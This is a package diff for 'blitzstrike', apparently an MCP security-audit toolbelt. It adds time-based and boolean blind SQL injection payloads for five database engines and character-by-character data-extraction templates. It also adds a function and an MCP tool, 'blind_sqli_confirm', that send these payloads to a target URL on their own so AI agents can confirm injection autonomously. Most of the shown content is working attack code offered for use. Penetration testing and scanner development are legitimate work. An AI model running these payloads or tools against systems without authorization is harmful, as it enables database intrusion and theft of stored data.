blitzstrike 2.4.150 → 2.4.152

package/CHANGELOG.md

@@ -5,6 +5,31 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.152] — 2026-10-11
+
+### Added — autonomous blind SQLi confirmation (blind_sqli_confirm)
+
+- New `blind_sqli_confirm` tool + `confirmBlindSqli()`: turns blind_oracle's
+  "SQL context" hint into "blind SQLi CONFIRMED" — sends the boolean oracle
+  (TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs
+  FALSE-branch instant) with payloads taken from the blind_sqli playbook (not
+  hand-written), and returns a deterministic verdict + evidence string.
+  166 tools, 548/548 tests.
+
+## [2.4.151] — 2026-10-11
+
+### Added — time-based blind SQLi (per-DBMS, detection + extraction)
+
+- `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
+  (mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
+  dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
+  randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
+  the mssql/oracle extraction templates.
+- `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
+  flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
+  via a >2s timing differential when the boolean body is identical.
+  547/547 tests.
+
 ## [2.4.150] — 2026-10-11
 
 ### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)

package/dist/index.js

@@ -59962,13 +59962,41 @@ function listWafBypassDbms() {
 // src/blind-sqli.ts
 var WAF_BYPASS = WAF_BYPASS_FLAT;
 function oracleConfirm(dbms) {
-  const time = dbms === "mssql" ? "WAITFOR DELAY '0:0:5'" : dbms === "postgresql" ? "pg_sleep(5)" : dbms === "oracle" ? "dbms_lock.sleep(5)" : dbms === "sqlite" ? "randomblob(500000000)" : "SLEEP(5)";
+  const time = {
+    mysql: {
+      true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
+      false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
+      fn: "SLEEP(sec)"
+    },
+    postgresql: {
+      true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
+      false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
+      fn: "pg_sleep(sec)"
+    },
+    mssql: {
+      true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
+      false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
+      fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
+    },
+    oracle: {
+      true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
+      false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
+      fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
+    },
+    sqlite: {
+      true_: `' AND 1=1 AND randomblob(500000000)--`,
+      false_: `' AND 1=2 AND randomblob(500000000)--`,
+      fn: "randomblob(sec*100000000)"
+    }
+  };
+  const t = time[dbms];
   return {
     boolean_true: `' AND 1=1-- -`,
     boolean_false: `' AND 1=2-- -`,
-    time_true: `' AND IF(1=1,${time},0)-- -`,
-    time_false: `' AND IF(1=2,${time},0)-- -`,
-    note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below."
+    time_true: t.true_,
+    time_false: t.false_,
+    time_fn: t.fn,
+    note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
   };
 }
 function playbook(dbms) {
@@ -60042,7 +60070,7 @@ function playbook(dbms) {
         oracle: oracleConfirm(dbms),
         extraction: {
           boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
-          time: `' AND IF(SUBSTRING(({query}),{pos},1)='{char}',1,0)=1 WAITFOR DELAY '0:0:{sec}'--`,
+          time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
           method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
         },
         metadata: {
@@ -60066,7 +60094,7 @@ function playbook(dbms) {
         oracle: oracleConfirm(dbms),
         extraction: {
           boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
-          time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_lock.sleep({sec}) ELSE dbms_lock.sleep(0) END--`,
+          time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
           method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
         },
         metadata: {
@@ -62300,6 +62328,15 @@ function sstiProbes(value) {
 function xssProbe(value, marker) {
   return { sink: "xss", name: "marker", payload: `${value}${marker}` };
 }
+function timeProbes(dbms, value) {
+  const p = blindSqli(dbms);
+  if (!p)
+    return [];
+  return [
+    { sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
+    { sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
+  ];
+}
 function classifyBlindProbe(input) {
   const same = input.bodyHash === input.baselineHash;
   let signal = false;
@@ -62322,6 +62359,7 @@ function classifyBlindProbe(input) {
 async function blindOracle(baseUrl, param, value, opts = {}) {
   const base = baseUrl.replace(/\/+$/, "");
   const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
+  const timeDbms = opts.timeDbms ?? "mysql";
   const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
   const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
   const timeoutMs = opts.timeoutMs ?? 8000;
@@ -62345,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     probes.push(...sstiProbes(value));
   if (sinks.includes("xss"))
     probes.push(xssProbe(value, marker));
+  if (sinks.includes("time"))
+    probes.push(...timeProbes(timeDbms, value));
   const results = [];
   for (const p of probes) {
     const t0 = Date.now();
@@ -62364,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
         body,
         marker
       });
+      let signal = cls.signal;
+      let reason = cls.reason;
+      if (p.sink === "time") {
+        if (p.name === "time_true" && timing > 2000) {
+          signal = true;
+          reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
+        } else if (p.name === "time_false") {
+          reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
+        }
+      }
       results.push({
         sink: p.sink,
         name: p.name,
@@ -62373,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
         timing_ms: timing,
         body_hash: bodyHash.slice(0, 12),
         same_as_baseline: cls.same_as_baseline,
-        signal: cls.signal,
-        reason: cls.reason
+        signal,
+        reason
       });
     } catch {
       results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
@@ -62393,6 +62443,46 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
     interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
   };
 }
+async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
+  const base = baseUrl.replace(/\/+$/, "");
+  const p = blindSqli(dbms);
+  if (!p)
+    return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
+  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike confirm)" };
+  const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
+  const fetchSize = async (payload) => {
+    try {
+      const r = await fetch(build(payload), { headers, redirect: "manual", signal: AbortSignal.timeout(9000) });
+      const body = await r.text();
+      return { ok: true, status: r.status, size: body.length };
+    } catch (e) {
+      return { ok: false, status: 0, size: 0 };
+    }
+  };
+  const fetchTiming = async (payload) => {
+    const t0 = Date.now();
+    const r = await fetchSize(payload);
+    return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
+  };
+  const bt = await fetchSize(`${value}${p.oracle.boolean_true}`);
+  const bf = await fetchSize(`${value}${p.oracle.boolean_false}`);
+  const boolDiff = bt.ok && bf.ok && bt.size !== bf.size;
+  const tt = await fetchTiming(`${value}${p.oracle.time_true}`);
+  const tf = await fetchTiming(`${value}${p.oracle.time_false}`);
+  const timeDiff = tt.ms > 2000 && tf.ms < 2000;
+  const confirmed = boolDiff || timeDiff;
+  const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
+  return {
+    dbms,
+    param,
+    value,
+    boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
+    time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
+    confirmed,
+    channel,
+    evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed — not confirmed as blind SQLi (could be a WAF, a non-boolean sink, or a false arithmetic hint)."
+  };
+}
 
 // src/param-precedence.ts
 function generatePrecedenceVariants(param, a, b) {
@@ -65063,16 +65153,29 @@ ${statusLine}` : statusLine },
       base_url: string2().describe("Target base URL"),
       param: string2().describe("Parameter name to probe (e.g. id)"),
       value: string2().describe("Baseline value for the parameter (e.g. 1)"),
-      sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
+      sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
+      time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
     }
-  }, async ({ base_url, param, value, sinks }) => {
+  }, async ({ base_url, param, value, sinks, time_dbms }) => {
     let s;
     try {
       s = sinks ? JSON.parse(sinks) : undefined;
     } catch {
       return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
     }
-    return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
+    return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
+  });
+  server.registerTool("blind_sqli_confirm", {
+    title: "Blind SQLi confirmation (autonomous boolean + time oracle)",
+    description: "CONFIRM: turn blindOracle's 'SQL context' HINT into 'blind SQLi CONFIRMED'. Sends the actual boolean oracle (TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs FALSE-branch instant) — payloads come from the blind_sqli playbook, NOT hand-written — and returns a deterministic verdict. confirmed=true only when a clean boolean or time differential is observed. Call AFTER blind_oracle flags SQL context.",
+    inputSchema: {
+      base_url: string2().describe("Target base URL"),
+      param: string2().describe("Parameter name to confirm (e.g. id)"),
+      value: string2().describe("Baseline value (e.g. 1)"),
+      dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
+    }
+  }, async ({ base_url, param, value, dbms }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
   });
   server.registerTool("oob_start", {
     title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.150",
+  "version": "2.4.152",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {